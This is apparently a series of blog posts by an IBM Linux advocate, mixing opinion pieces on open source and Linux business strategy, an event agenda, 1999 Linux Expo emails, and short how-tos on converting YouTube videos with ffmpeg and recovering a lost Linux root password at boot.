Eu só posso concordar com o que o Thiago Vinhas escreveu em seu artigo.

Não estou muito próximo do projeto Debian, mas meu feeling sobre ele é que ele está se auto-canibalizando. Antropofagia pura.

Se o único objetivo dos membros do projeto é se divertir criando um sistema operacional, seu produto só acabará sendo usado para diversão, em casa ou em laboratórios. Não inspira confiabilidade e “flor-que-se-cheire” a longo prazo. Sem isso, empresas (com dinheiro no bolso) nem chegam perto dele.

Escondendo marcas já consagradas como o Firefox e Thunderbird só para exagerar essa liberdade que as pessoas não entendem – mas que elas já tem – ajuda a destruir uma marca e mindshare coeso que Linux como um todo pode criar. Ai eles é quem perderão a liberdade de trabalhar com o que gostam: Linux.

O foco do projeto Debian parece ser única e exclusivamente a religião.
E eu acredito que o melhor balanço está no equilíbrio entre religião e razão – coisa que distribuições que se propuseram a trabalhar com as pressões do mercado, como Red Hat e Novell, fazem muito melhor.

E lembrem-se: leis mercadológicas só dão espaço para duas opções. Um é pouco, três é demais.

Longa vida a quem sabe balancear as coisas.

Converting YouTube to MPEG or iPod

In the end of this proccess you’ll have an .mpg file on your local disk, generated from an Internet-only YouTube URL.

First make sure you have ffmpeg (video encoding and decoding tools) and lame (MP3 audio encoding and decoding tools) softwares and dependencies installed on your system. You will also require the youtube-dl scripts that downloads the actual YouTube video.

In a Red Hat or Fedora system you can install it from Dag or Livna RPM repositories, with a simple yum command:

bash# yum install ffmpeg lame youtube-dl

Then you get to the YouTube video page you want to download. In this example we’ll use the Heist video, the first Linux ad from IBM, that has http://www.youtube.com/watch?v=DO9ZWDaLLxA as its URL.

I’ll use youtube-dl this way:

bash$ youtube-dl -t http://www.youtube.com/watch?v=DO9ZWDaLLxA

And I saw it connecting to YouTube several times and downloading the video. In the end, I found a big file named the_heist-RRZyz1vXkPE.flv in the current firectory, which is the video file.

Now lets convert it into MPEG with ffmpeg:

bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -sameq heist.mpg

-acodec copy will cause ffmpeg to copy the audio from input to output file, while -sameq causes the output video quality to be the same as the source, but output file will be very big. For YouTube videos, you can use -b 320000 instead of -sameq to get smaller file sizes.

I saw ffmpeg taking some time to convert, and in the end I got the heist.mpg file which I was able to confortablly play in any MPEG aware video player, as mplayer.

If you want to convert the video file into MP4, which is the format supported by iPod Video players, you just change the extension:

bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -b 320000 heist.mp4

Ffmpeg will take care to use the maximum screen size available from the source (the .flv file) so the converted file will be as hi-fi as YouTube let be (not too high really).

Enjoy your video.

Evento Linux e Rational em Florianópolis e Curitiba

Desta vez estaremos levando o já consagrado evento IBM developerWorks Live ! para Florianópolis e Curitiba.

É a chance de técnicos aprenderem com técnicos dos laboratórios IBM, Red Hat e 4Linux, casos reais e usos avançados de tecnologias como Linux, Eclipse, Samba, Xen, Clusters de Alta Disponibilidade, e outras ferramentas Open Source e Rational para desenvolvimento e gerência de projetos.

Confira a agenda, datas e locais abaixo, e venha ver nossas apresentações !

Florianópolis, Santa Catarina, 16 e 17 de outubro
O evento IBM acontecerá dentro do Simpósio Brasileiro de Engenharia de Software e de Banco de Dados, no Hotel Majestic na Av. Beira Mar Norte. Como estaremos atrelados ao SBES/SBBD, será um evento pago. Mais informações aqui, e agenda IBM aqui.

Agenda do dia 16 de outubro – Linux

09h00

Possibilidades de Linux com Desktops e Servidores (Avi Alkalay – IBM)

09h45

Virtualização em Linux com Xen (Rodrigo Missiagia – Red Hat)

10h30

Break

11h00

OpenLDAP, PAM e Gerência de identidade com Linux (Francisco Saito – 4Linux)

12h00

Pausa para Almoço

11h45

Linux na IBM (Avi Alkalay – IBM)

12h30

Pausa para Almoço

14h30

Alta Disponibilidade com Linux (Rodrigo Missiagia – Red Hat)

15h15

Migrando a Infraestrutura para Samba com Linux: estudo de caso da CEAGESP (Francisco Saito – 4Linux)

16h00

Break

Agenda do dia 17 de outubro – Padrões Abertos e Ferramentas de Desenvolvimento Open Source

09h00

Introdução – Padrões Abertos, Open Source, Apache Derby/IBM Clouscape (Eric Long and Jeff – IBM)

10h30

Break

11h00

Apache Geronimo/IBM WebSphere Application Server Community Edition, Desenvolvendo Aplicações com Ferramentas Open Source, Além do Open Source/Standards – Próximos Passos (Eric Long and Jeff – IBM)

12h30

Pausa para Almoço

14h30

Overview – Desafios em Distribuição de Softwares, Process and Portfolio Management – Rational Portfolio Manager and Method Composer (Cheryl and Kevin – IBM)

16h00

Break

16h30

Análise e Requerimentos – Rational Req Pro, Qualidade de Software – Rational ClearQuest e Testes Funcionais, Gerência de Mudança e Configuração – Rational ClearCase, Rational ClearQuest, Rational Build Forge, Call to action/Resources (Cheryl and Kevin – IBM)

Curitiba, Paraná, 19 e 20 de outubro
O evento acontecerá na PUC-Paraná, Rua Imaculada Conceicao, 115 – Prado Velho, Auditorio Maria Montessori. Evento gratuito. Inscrição aqui ou pelo telefone 0800-707-4837 opção 1, ou ainda mandando um e-mail para pwisv@br.ibm.com.

Agenda do dia 19 de outubro – Padrões Abertos e Ferramentas de Desenvolvimento Open Source

08h30 Registro

09h00

Introdução – Padrões Abertos, Open Source, Apache Derby/IBM Clouscape (Eric Long and Jeff – IBM)

10h45

Break

11h00

Apache Geronimo/IBM WebSphere Application Server Community Edition, Desenvolvendo Aplicações com Ferramentas Open Source, Além do Open Source/Standards – Próximos Passos (Eric Long and Jeff – IBM)

13h00

Pausa para Almoço

14h00

Overview – Desafios em Distribuição de Softwares, Process and Portfolio Management – Rational Portfolio Manager and Method Composer (Cheryl and Kevin – IBM)

15h45

Break

16h00

Análise e Requerimentos – Rational Req Pro, Qualidade de Software – Rational ClearQuest e Testes Funcionais, Gerência de Mudança e Configuração – Rational ClearCase, Rational ClearQuest, Rational Build Forge, Call to action/Resources (Cheryl and Kevin – IBM)

Agenda do dia 20 de outubro – Linux

08h30 Registro

09h00

Possibilidades de Linux com Desktops e Servidores (Avi Alkalay – IBM)

10h00

Break

10h30

Virtualização em Linux com Xen (Rodrigo Missiagia – Red Hat)

11h15

OpenLDAP, PAM e Gerência de identidade com Linux (Francisco Saito – 4Linux)

12h00

Pausa para Almoço

13h30

Linux na IBM (Avi Alkalay – IBM)

14h15

Alta Disponibilidade com Linux (Rodrigo Missiagia – Red Hat)

15h00

Break

15h30

Migrando a Infraestrutura para Samba com Linux: estudo de caso da CEAGESP (Francisco Saito – 4Linux)


Esperamos você lá !
Qualquer dúvida, por favor escreva um comentário neste blog, ou mande-me um e-mail.

Samba to use Elektra for configurations

Read here before it goes broad in Slashdot.

Gerald (Jerry) Carter, Samba’s core developer and architect, initiated a Google SoC project to elektrify Samba. The project was successfully completed by Mingwang with Jerry’s mentorship. “Longer term, we (Samba) have to come to an agreement about (…) How (and to what degree) do we support legacy systems that want to continue to the the smb.conf text file. This is a pretty big shift for us. And although everyone agrees that we must have programmatic access to out configuration data from within Samba, we have to chart the course to get from where we are today to where we want to be 6 months down the road.” – said Jerry on the Elektra list while also showed a kdbedit screenshot of an elektrified Samba.

Open Source Geeks Should Read This

The title of that article is Why we won’t be talking about Open Source in the future, by an analyst called Clay Ryder, and I think is provides an insightfull and pragmatic perspective of how Open Source should be looked at by the business world. It perfectly feets what I use to say and present in events.

Here are some quotes:

While there are religious devotees who believe that the most important role of Open Source is to bankrupt Microsoft, there are many who are not on the Redmond attack squad, however, that talk about Open Source as if it remains somehow discrete, or fundamentally different than other software.

…the reality is that from a bits and bytes perspective, open source software is no different than any other. It is code that runs on the machine and hopefully solves a problem and delivers value to the end user. The development model and the pricing model vary, as do issues related to intellectual property and ownership, but at the end of the day it is just software.

Open Source software is making the same demands on the marketplace – these technologies are priceless, therefore stop trying to make money them, but instead invest those same dollars in adding value on top of the priceless technology. As a result, freely distributable, standards based, basic technology will be a given, let’s learn innovate on top of it, where the real value, and may I add, margins, will be found.

This kind of article may appeal to clients who are skeptics about Linux fanatics.

System Rescue Without a Password

So you lost your Linux root password.

No panic. There is a way to reset it:

  1. Turn the computer on and pay attention.
  2. When the bootloader (GRUB or LiLo) screen appears, select the partition you want to fix the password.
  3. Do not boot it yet. Go into edit mode for this partition.
  4. In the end of the kernel boot parameters line, include this init=/bin/bash.
  5. Then boot the partition.
  6. You will see a very fast boot. And right after the pure kernel initialization you’ll receive a root command line. If you try to change a password at this time (with the passwd command), you’ll get a message that means you don’t have write permissions on the filesystem.
  7. So you’ll have to put your system in a read-write state whit this commands:
    bash# mount /proc
    bash# mount -o remount,rw /
  8. All set. Now use the passwd command to change the root password.
  9. Now type the following: sync; sync; exit. Then reset the system.

Note: If the computer has a BIOS or Bootloader password that you don’t know, you won’t be able to use this technique.

The idea here is to change the default program that is executed to setup all the OS environment, right after the kernel initialization. By default it is /sbin/init, and what we did above is to change it to /bin/bash — a regular shell prompt, a command line.

My IT Presentations

Here are some presentations that I created and use to deliver in IBM events.
Most charts include speaker notes. They are all in Use OpenOffice.org Open Document Format (ODF).
I rarely use the full presentations, I select the best charts according to the audience.

I am also founder of the Elektra Initiative, and produced an Elektra Presentation that members of the community use to deliver in Linux events.

See also the articles I have written.

High Availability Linux Clusters

Here is a light document, in the form of a presentation, to help IT architects or sales people to understand High Availability Clusters with Linux:

  • How it works
  • Components needed to build HA clusters
  • Replication
  • SCSI and Fiber Channel considerations
  • Reference architectures
  • Clustering of popular products
  • Sizing guides
  • etc

Start here and follow the links to browse it, download PDF or the original Use OpenOffice.org (ODF) file.

There are also excelent presentations and tutorials in the Linux-HA Project website.

Software Livre sem excesso de filosofia

Saiu hoje no Estadão uma matéria quase sarcástica sobre Richard Stallman, criador do conceito de Software Livre, lá nos idos dos anos 70.

Sem suas idéias visionárias, sua postura radical, e sua seriedade jurídica, coisas como Linux não existiriam, e Padrões Abertos seria um conceito ligeiramente diferente do que é hoje. Richard Stallman é um cara que mudou o mundo, e suas idéias sobre Software Livre passaram a ter um dimensão maior a ponto de abraçar toda a criação artística, ciência e cultura humana via o Creative Commons (veja este video, e depois este para entender tudo), descendente direto do Software Livre. Tudo em prol de uma cultura livre.

Mas os anos passam, o mundo gira, e parece que ele se afogou num mar de idealismo: para ele, se o usuário não consegue ler e alterar o código fonte do software, ele é prisioneiro desse software. Talvez ele esqueceu que poucas pessoas sabem ler código fonte de um programa de computador, e dessas, a maioria — eu incluso — não tem o menor interesse em lê-lo, muito menos alterá-lo. Estamos mesmo é interessados na liberdade que um software nos dá para vivermos melhor a nossa vida.

Um software que não provê exatamente a funcionalidade que o usuário quer não precisa necessariamente ser mudado por ele. Ou será trocado, ou a pessoa irá de adaptar, porque afinal computador é burro e só sabe fazer aquilo, e ser humano é inteligente.

Software Livre virou moda, mas isso não significa que tudo quanto é SL é bom e resolve os problemas das pessoas e das empresas. Estas por sinal tem se sofisticado cada vez mais a ponto de precisarem de soluções de software mais complexas e mais inovadoras. E essas coisas são geralmente mais encontradas no software de código fonte fechado.

Então quando Software Livre e quando software comercial ?

A resposta é buscar um bom balanço entre ambos com esta fórmula:

  1. Divida a TI de uma empresa em camadas que vão da mais infraestrutural (storage, servidores, SOs – como Linux) até o mais alinhado aos processos de negócio (aplicações de negócio e internas, ERPs, CRMs etc).
  2. Quanto mais infraestrutural, mais afinidade terá com SL, e quanto mais alinhado ao negócio, mais afinidade terá com o de código fonte fechado.

A pirâmide de TI

A explicação do porquê dessa divisão é longa e está na minha apresentação.

Linux, sendo só um SO, tem enorme afinidade com a infraestrutura, e por isso é uma opção excelente para essa camada.

Entre esses dois polos fica o tal do Middleware, que começa a ter boas opções no mundo livre, concorrendo de frente com produtos da IBM. A regra geral é ir sempre de Middleware comercial porque tem suporte e nível de serviço, que provê paz de espírito. A excessão fica para aplicações departamentais não-críticas nos casos onde o cliente sabe muito bem o que está fazendo com um middleware SL.

O que realmente importa para uma empresa que se preocupa com seu TI é usar produtos, software, hardware que seguem Padrões Abertos – não importando se o código é aberto ou não -, porque só isso é capaz de dar acesso a um mercado competitivo, que provê flexibilidade e poder de escolha – que implica em preços mais baixos.

Developers for Increased Openness Ecosystem

I’m proud to say that Rogério Oliveira, IBM Brazil General Manager, said a phrase that I keep saying inside IBM for at least 4 years.

If we build relationships with our customer’s development teams, we’ll be able to detect opportunities at least 6 months earlier than when talking only to customer’s IT infrastructure teams

Rogerio Oliveira, IBM Brasil General Manager

Development teams role in the IT environment of some customer is to be the closest point to the line of business a technology provider like IBM can and should effectively reach.

The Best Linux Distribution

Check this presentation to business and technical people about Linux Distributions. There is an article outlining the same topics that can work as a transcript for this presentation.

The topics included are:

  • What makes a Linux distributions to be what it is
  • The ingredients for success and for market failure
  • Core technologies inside a distribution
  • Important points to consider when choosing “the best distribution”
  • What “support” is, its importance, and what customers should really look for when considering comercial support for a Linux distribution
  • High level comparation between Red Hat Enterprise Linux and SUSE Linux Enterprise Server in flavor, standards adherence and stability
  • Highlights on other non-comercial distributions as Fedora, OpenSUSE, Debian, Slackware etc, and the weak-ecosystem ones as Mandriva, Ubuntu, etc
  • Colorful details about how Linux distributions work with and package Open Source software
  • The new generation of “semi”-comercial distributions

Availability:

Check also an interview I gave in a Linux World event right after presenting this:

Segurança em Software de Código Aberto

  • — Quem acha que software de código fechado é mais seguro? – perguntou o palestrante.

Uns poucos gatos pingados levantaram a mão.

  • — E quem acha que software de código aberto é mais seguro?

Outros poucos ouvintes acreditavam que essa última era a afirmação verdadeira.

Mas a esmagadora maioria ficou passiva, sem saber o que responder.

Senhoras e senhores, estamos diante de um dos maiores dilemas da TI pós-Internet. É assunto para horas de discussão na mesa do bar, que tem grande chance de dar em nada, se for tratado de forma religiosa. Mas vamos tentar ser frios, relembrar algumas histórias e não nos perder em crenças infundadas.

 

Tudo gira em torno de segurança por ser (código) público versus segurança por ser fechado. A comunidade de programadores de código aberto tem a cultura do mérito e respeito, então é natural que seus membros tomem mais cuidado ao programar. Além disso, é comum o trabalho de um ser revisado e auditado pelo outro. Outra vantagem é a velocidade com que correções são escritas. Foi o caso de um problema descoberto na implementação TCP/IP de qualquer sistemas operacional, em 1996. A correção para Linux foi publicada em 20 minutos, enquanto que para outros sistemas demorou 2 dias úteis. Há dezenas de casos semelhantes.

Mas aqui vale um ponto de atenção: o sistema operacional Linux é um caso muito especial de software de código aberto, simplesmente porque ele é muito usado e tem um ecossistema enorme de programadores e empresas interessadas em sua estabilidade e progresso. Em outras palavras, ele tem uma infinidade de observadores, e isso não é verdade para qualquer software livre. Ou seja, só quando um software aberto usufrui de muitos usuários e desenvolvedores é que terá pessoas cavando e corrigindo problemas rapidamente em seus fontes.

O modelo de código fonte aberto de desenvolvimento de software não é uma garantia de segurança. Contudo, softwares livres populares como o Linux, Apache, Samba e muitos outros tem tido seus códigos examinados por vários especialistas de segurança.

Por outro lado, software de código fechado tem a garantia de que ninguém pode vasculhar falhas em suas entranhas. Ironicamente também garante que se o fabricante decidir implanatar um backdoor, ninguém poderá encontra-lo. E foi exatamente o que aconteceu quando a Borland liberou o código do Interbase: eles esqueceram de remover um trecho do código que abria um backdoor de administração. Foi descoberto e removido assim que outros começaram a olhar seu código fonte, e motivo de vergonha para a Borland.

Outro aspecto é que certas coisas são muito difíceis de desenvolver corretamente quando somente poucas pessoas tem acesso ao código fonte. É o caso de boa criptografia e de protocolos de comunicação seguros. Só uma densa auditoria multicultural e independente pode analisar a fundo cada detalhe do código.

No âmbito de ferramentas de segurança, o mundo livre dispõe de uma lista sem fim de coisas como OpenSSL, OpenSSH, PAM, PKI, OpenLDAP, Tripwire, Kerberos, SELinux, etc, todos possuidores de um forte ecossistema de usuários e desenvolvedores.

 

O pensamento saudável para essa questão é que software aberto e fechado tem vantagens e desvantagens que muitas vezes se completam. Nenhum modelo é garantia de segurança, mas ter o código aberto dá pelo menos a chance de um certo software poder ser auditado. Além de que uma falha detectada pode ser corrigida por qualquer pessoa a qualquer hora, e não ser tratada como “característica do software” que o fabricante não acha que deve corrigir.

A fórmula do sucesso, para balancear custos e benefícios, tende a usar software livre nos elementos mais infraestruturais do data center, enquanto que software fechado vai melhor nas camadas relacionadas a lógica de negócio, sempre abusando do uso de padrões abertos para garantir a interoperabilidade. Um exemplo prático desse bom balanceamento é rodar seu ERP corporativo (de código fonte fechado) sobre um sistema operacional de código fonte aberto, mas que tenha suporte comercial no mercado, como Linux.

Apresentação IBM Linux

Aqui você vai encontrar minha apresentação sobre Linux e padrões abertos da IBM.

O conteúdo engloba:

  • Como medir maturidade de Software Livre
  • Diferença entre Linux e Software Livre
  • Padrões Abertos
  • De que forma Linux e Padrões Abertos ajudam empresas a reduzir custos
  • O caminho certo para começar a usar Linux numa empresa
  • Posicionando Linux e outros padrões para soluções de desktop
  • Arquiteturas de desktop, como PC Multiusuário, Workplace, etc
  • Arquiteturas não-convencionais com Linux: clusters, para-virtualização com Xen, SELinux, etc
  • Linux na estratégia On Demand da IBM
  • Linux no mercado, números, TCO
  • Comprometimento da IBM com Linux

Há muito conteúdo nesta apresentação, então costumo usar somente partes de acordo com o público.

Esta apresentação usa fontes que não estão por default numa instalação Linux. Se você vai usa-la em Linux, baixe e instale o pacote de fontes webcore-fonts.

Quando apresento, costumo mostrar também algumas animações flash e filmes para quebrar o gelo. Clique com o botão direito e salve o link:

Por que Linux é Melhor que Windows ?

A resposta quase automática e superficial para esta pergunta seria: Ora, porque Linux é livre e aberto, desenvolvido pela comunidade !

Linux tem demonstrado desenvoltura excepcional em ambientes corporativos, trazendo reais benefícios financeiros diretos, e também indiretos através de melhoria da operação de TI das empresas.

Deixando de lado o altruísmo de ser aberto e a moda do software livre, vamos analisar por que isso acontece.

 

Primeiro é importante lembrar que existe diferença entre software livre e Linux. O primeiro é qualquer tipo de software que tenha seu fonte aberto, e que tenha uma licença de uso que respeite certos padrões. Linux é um pequeno conjunto de alguns desses softwares que atingiram uma maturidade tal que podem ser usados até em ambientes críticos, com a tranqüilidade exigida pelo mundo corporativo. Linux não é sinônimo de software livre, nem tão pouco representa todos os softwares livres do mundo.

Linux é desenvolvido com base em padrões abertos. A evolução desse padrões são regidos por organizações independentes, como o W3C, OASIS, JCP etc, que visam o bem comum. Nenhuma entidade com interesses comerciais detém poder sobre eles. Os Padrões Abertos são um patrimônio da humanidade, e por isso podem ser usados livremente por qualquer pessoa ou organização.

Na prática isso se reverte em um consenso automático de como produtos e softwares falam entre sí e interoperam. Mais ainda, dá ao usuário a escolha de trocar facilmente produtos por outros que respeitam os mesmos padrões. Não que o usuário faça isso todo dia, nem todo ano. Mas o simples fato de ter escolha lhe dá um enorme poder de negociação com seus fornecedores. E isso faz os fornecedores reduzirem seus custos e melhorar a qualidade de seus produtos.

Concentrar-se numa camada de padrões tecnológicos abertos, promove ainda uma flexibilidade que permite fazer novas combinações criativas. Exemplo consagrado disso é Linux rodando em zSeries (mainframe), que permite aplicações baseadas em padrões abertos serem consolidadas numa plataforma em que não há desperdícios como tempo ocioso, mais fácil de ser gerenciada, e em que o custo total é menor. Isso é válido também para outras plataformas, pois a flexibilidade do Linux o faz presente em todo tipo de hardware: desde um simples relógio de pulso, até o zSeries.

Há também estudos sobre ganhos indiretos do uso de Linux e Padrões Abertos, mostrando que as empresas que os adotaram, começaram a descobrir uma nova gama de possibilidades que não estavam na prancheta do projeto inicial.

 

Há ainda a teoria de que Linux exige serviços mais caros. A mão de obra para Linux é conhecida como mais avançada, com mentes mais aguçadas, e que com pouco é capaz de fazer mais. Enquanto não se experimenta na prática essa força de profissionais, não é possível entendê-la na teoria. Sem dúvida existem também profissionais que deixam a desejar, como em qualquer especialidade, mas em geral são mentes que tem uma compreensão técnica das coisas que vai além do mero cotidiano de clicar botões na tela. Tudo é uma questão de o quanto se paga pelo tanto que se recebe.

O esforço da comunidade, aliado a intransigência de provedores de tecnologias proprietárias, fez surgir opções de softwares livres que interagem com softwares proprietários. Caso do OpenOffice.org, suite de escritório avançada que lê e grava documentos também nos formatos proprietários das outras suites.

Seja como for, o mercado de TI é grande o suficiente para conter todas as coisas. E o verdadeiro valor que produtos e tecnologias tem para seus usuários deve ser medido mais pelo benefício que lhes traz de fato, do que por relatórios de mercado ou teorias financeiras, que servem meramente para nortear. Dentro deste cenário, não podemos dizer que Linux é melhor. Mas é evidente que o mercado tem aceitado-o como uma ótima alternativa.

Uma coisa é fato: se Linux entra numa empresa, não sai mais.

Pense Aberto, Seja Livre

Linux vem ganhando cada vez mais espaço no mercado corporativo, mas ainda há dúvidas sobre até onde os sistemas abertos podem ser usados.

Ainda é comum encontrar grupos que defendem a idéia de Open Source para utilização sem qualquer restrição e que lutam por esta proposta com toda a força, mas nem sempre com um bom embasamento. Há ainda os CIOs que entendem que, deixando de lado tudo o que o movimento representa, Linux é somente um sistema operacional.

Começa a ficar claro que quanto mais específica é a funcionalidade de um software, mais restrito é o número de pessoas e empresas que trabalham nele. É a antítese do Open Source. Pense por um lado numa aplicação que atende somente a algum setor industrial. E por outro, algo de uso genérico como um sistema operacional, que no sentido mais primitivo do conceito, gerencia recursos de hardware, participa da rede, é seguro e confiavel (como Linux). Por ser de uso absolutamente essencial, este último possui sólida infra-estrutura de suporte. Já o primeiro, por ser de nicho, terá suporte muito bem pago, e protegerá seu capital intelectual com mecanismos legais. Antes, sistema operacional era uma necessidade de nicho, hoje é um commodity. Linux é um commodity.

Correlação entre Closed e Open Source

A segunda maior preocupação das empresas no campo de TI — a primeira sempre é redução de custos — é automatizar ao máximo sua cadeia de processos, ou seja, reunir seus processos de negócio como as pessoas os entendem e transformá-los em um “programa de computador”. E quando uma empresa faz isso de uma forma centralizada ela andou 80% do caminho em direção aos Web Services. Então, como executar esta operação de forma universal, libertando a empresa das amarras de um monopólio, com suporte profissional condizente com o negócio, com liberdade para a escolha da plataforma? Compra-se um ERP? Desenvolve-o internamente? A resposta a estas questões é: Não importa, se você estiver usando Padrões Abertos, que é o ponto de equilíbrio entre o closed e o Open Source. O resto se torna uma planilha de custos que definirá qual é a configuração mais barata.

Os grandes pilares do e-business

Pela primeira vez na história da computação, temos um conjunto de ferramentas abertas e universais que podem nos atender para qualquer necessidade: Linux como plataforma, XML e WebServices para comunicação e integração de aplicações, HTML e HTTP para interação com usuários, e o mais importante, Java Enterprise (ou J2EE), para o âmbito das aplicações de negócios. Os quatro são padrões abertos, sem dono, mas com suporte total de toda a indústria (com excessão de uma só empresa). Os quatro são um patrimonio da humanidade.

Arquitetura de um servidor de aplicações J2EE

J2EE, é um framework universal que provê uma série de serviços para aplicações de negócio: acesso a bancos de dados, ambiente transacional, segurança, separação da camada de apresentação, persistência de sessão, mensageria, componentização, serviços de nome, páginas web ativas (JSP), processamento XML, e por aí vai, sem parar de crescer. Isso permite que um processo de negócio seja convertido em software usando padrões, com a garantia de que rodará em qualquer lugar onde houver um servidor de aplicações J2EE, que tem vários fornecedores, Open Source ou comerciais. A implementação da IBM, por exemplo, é o WebSphere Application Server.

A especificação J2EE é desenvolvida por uma comunidade aberta que tem como membros a IBM, Sun, Oracle, SAP, Apache Software Foundation, Laboratórios Dolby, num total de mais de 600 entidades, que contribuem abertamente com o que cada um tem de melhor. Ela evolui seguindo o Java Community Process, que define o que entra ou não na especificação.

Usando sempre tecnologias abertas, uma empresa tem o conforto de aproveitar do mercado o que for mais importante para ela, levando em consideração nível de suporte, disponibilidade de skills etc. Foi isso o que a Internet mudou. Não tem nada a ver com a forma como compramos eletrônicos ou roupas, pois continuaremos indo às lojas. A Internet abriu o mundo permitindo a livre conversa entre as pessoas. Nem Linux nem padrões abertos existiriam sem a Internet. Bem vindo ao mundo livre, aberto e de todos.

Linux Expo 1999

Este é um e-mail histórico que mandei a vários entusiastas de Linux no Brasil durante a minha visita a Raleigh, que coincidiu com a Linux Expo 1999.

Data: Sexta, 21 Maio 1999 01:00 AM -0300
Assunto: LinuxExpo 1999

Sucedeu de eu estar em Raleigh bem na época da LinuxExpo’99. No podia deixar de ir. Como sou funcionário IBM, entrei na faixa conversando com o pessoal do stand da IBM.

Cheguei umas 17:00 e já estavam fechando a exposição. Dali pra frente só haveria uma recepção da IBM e mais algumas palestras.
No que vi do resto da exposição estavam presentes IBM (apresentando netfinity com raid), Sun, Adaptec, HP, Compaq, SGI (apresentando uma belissima máquina rodando RH6.0), Applix, FSF, Caldera, Oracle, S.u.S.E., Cyclades, Motorola, Linux*, Debian, etc, etc e etc…

Na recepção tinha comes, bebes, música e muitas figuras: Rasterman (Enlightenment, Gnome), Miguel de Icaza (Gnome), Jim Gettys (um dos criadores do X). O traje normal era jeans com polo ou camiseta. Era comum ver alguem com meia escura e sandalha. Muitos dos palestrantes estavam de short. Um clima aberto e desleixado. Tinha uma figura cabeluda com chapeu vermelho que não chamaria a tenção não fosse o chapeu, e sempre ter um monte de gente a sua volta. Cheguei perto pra ler o nome no cracha: ALAN COX!. Não vi o Linus e ouvi rumores que ele não viria.

Foi muito divertido ver as camisetas da galera. Traziam frases e desenhos muito legais.

Aconteceu de Star Wars estrear no mesmo dia da abertura da Expo. Aproveitando o ensejo, a capa do programa é o Pinguim sorrindo, coberto por uma capa Jedi, segurando um Sabre de Luz, e em volta os dizeres: MAY THE SOURCE BE WITH YOU.

Um dos assuntos mais falados é o ExtremeLinux(.org), sobre SMP. Tem algo a ver com o Beowulf. Parece-me que a IBM vai suportar algo do genero.

Entrei no final duma palestra sobre o XFree86(.org) 4.0. Uma pena, pois parecia ter sido bem interessante.

Segui para outra entitulada “The Future of X”, encabeçada por um grupo chamado (www.)X.Org. Esse grupo disse ter sido formalmente anunciado na última segunda-feira. O X parece ter se desmembrado do OpenGroup(.org). As grandes e poderosas fundaram a X.Org para continuar a evolução do X. Trata-se de uma entidade sem fins lucrativos, aberta para qualquer um, com o primeiro objetivo de remover a suja licensa do X11R6.4. Eles irão trabalhar mano-a-mano com o pessoal do XFree86 e ambos dizem-se bastante excitados com isso (ui!).

Discutiu-se muito sobre hardware 3D, GNOME, KDE, e como o novo suporte de grandes companias estimula fabricantes a produzirem drivers.

O Jim Gettys tinha um cracha da Compaq, mas acho que ele veio da Digital. No final duma palestra tinha um monte de gente em volta dele. Abriu uma bolsa de notebook, que na verdade tinha um monte de cabos emaranhados, e sacou um protótipo que não era maior que uma caixa de cigarros. Tinha o nome Compaq gravado nele. Disse que tinha 64M de memória, mostrou a saída serial, microfone, etc. Colocou duas pilhas AAA e bootou o Linux. Entrou no X, mostrou o relógio, xterm, ls, top e até o DOOM. Tocou um MPEG em tons de cinza (tudo isso com uma caneta tipo PalmPilot). Ai ele abriu o e-mail, guardou a caneta e começou a falar com o bixinho: “Messages please”. “Message from Mary, April 2, 1999. Attached file”. “Play it for me”. “Hi Jim, this is Mary…”. Captaram?

Estão todos conscientes de que 1999 é o ano Linux, até aquelas meninas que trabalham no evento.

Amanhã tem mais.

Abraços,
Avi
___ _ _ ___ __ _ __ _ _ __ _ _ ___ __ _ __ ___ ___ __ ____ ____ _
Avi Alkalay <avi at br dot ibm dot com> – IT Specialist
Managed Internet & Intranet Services of IBM Global Services – Brazil
Tel: +55 11 3050-#### / Fax: +55 11 3050-**** / Tie-line: 842-%%%%

E este e-mail foi enviado alguns dias depois.

Data: Terça, 25 Maio 1999 11:53 PM -0300
Assunto: LinuxExpo’99 Parte 2

Depois daquele primeiro incrivel dia, aconteceram mais dois.

Na sexta cheguei no começo da tarde. Não queria perder a palestra sobre Coda(.cs.cmu.edu) (sucessor do AFS), um assunto que muito me atraia. A sala estava cheia, muitos interessados. O palestrante da Carnegie-Mellon University disse que eles fizeram muita evolução no cliente Windows e ele está mais usável. Mostrou comparações entre Coda, AFS, EXT2, BSD etc… Muito bom. Belíssimo projeto, bem embasado, grandes problemas e boas solução. Decepcionei-me quando ele anunciou um novo projeto: Inter-Mezzo(.org) que não é uma nova geração, apenas melhorias. Eles ainda não terminaram o Coda e já estão brincando de Inter-Mezzo. Isso é o mundo livre, sem compromissos…

Depois peguei o começo duma outra sobre Linux em PDAs (PalmPilot etc). Sei que havia alguém da 3Com presente e ouvindo com muito bons ouvidos. Eles devem estar de olho no Linux para o Palm 18 ou superior. Não fiquei até o fim.
Havia tantos assuntos interessantes que entendi que não adiantava ficar ouvindo todos eles pois até eu ter tempo para estudar tudo, a tecnologia já deu 15 voltas. Isso me levou aos stands, falar com pessoas. Queria ver o mundo marketing do Linux.

Comprei CDs baratíssimos, camisetas (já estou com a sua, Lele) etc. Conversei com um cara que trabalha na RedHat. Ele parece testar pacotes. Disse que trabalha lá a um ano e meio e foi o número 32. Hoje a RedHat tem 130 funcionários, e continuam contratando. Como gostaria de trabalhar nessa empresa…

No fim da tarde encontrei o Jon, um cara da Transarc que veio ao Brasil nos ajudar na instalação do DCE/DFS para Globonacopa(.com.br). Assistimos juntos a palestra do vice-presidente da AOL, que diga-se de passagem odeia a M$. O Jon tinha um Think Pad idêntico ao meu, com o RedHat 6.0 instalado. Na mesa do McDonalds ajudei-o a configurar o driver de som. O kernel 2.2 tem suporte a interfaces Infra-Vermelho, então, lá pelas 19:00, fomos ao seu hotel para tentar fazer alguma coisa com isso. As 2:00 da manhã conseguimos definir IPs nas interfaces “irlan0” de cada ThinkPad. Ai, a um metro e meio de distância, sem cabo (wireless!), fiz um telnet para a maquina dele e rodei um xterm que apareceu no meu display. Isto foi in-crí-vel! Tranferimos arquivos a uma taxa de 7.7 kbytes/s. Só numa LinuxExpo poderia encontrar alguém para montar um laboratório assim!

No dia seguinte conheci um IBMer cuja função é exclusivamente contribuir para o Apache. Ele está trabalhando especificamente no suporte a threads. Comentei que não posso ter uma versão pré-compilada X do Apache e utilizar módulos pre-compilados para a versão Y. Ele disse que a versão 2.0 tentará manter uma API estável. Disse também que a EAPI do mod_ssl será integrada ao núcleo do Apache.

Vi o WebSphere rodando completo, beta, num Linux. O WebSphere é o produto no qual a IBM está investindo mais tecnologia, e principalmente marketing hoje em dia. Percebem o sentido disso?

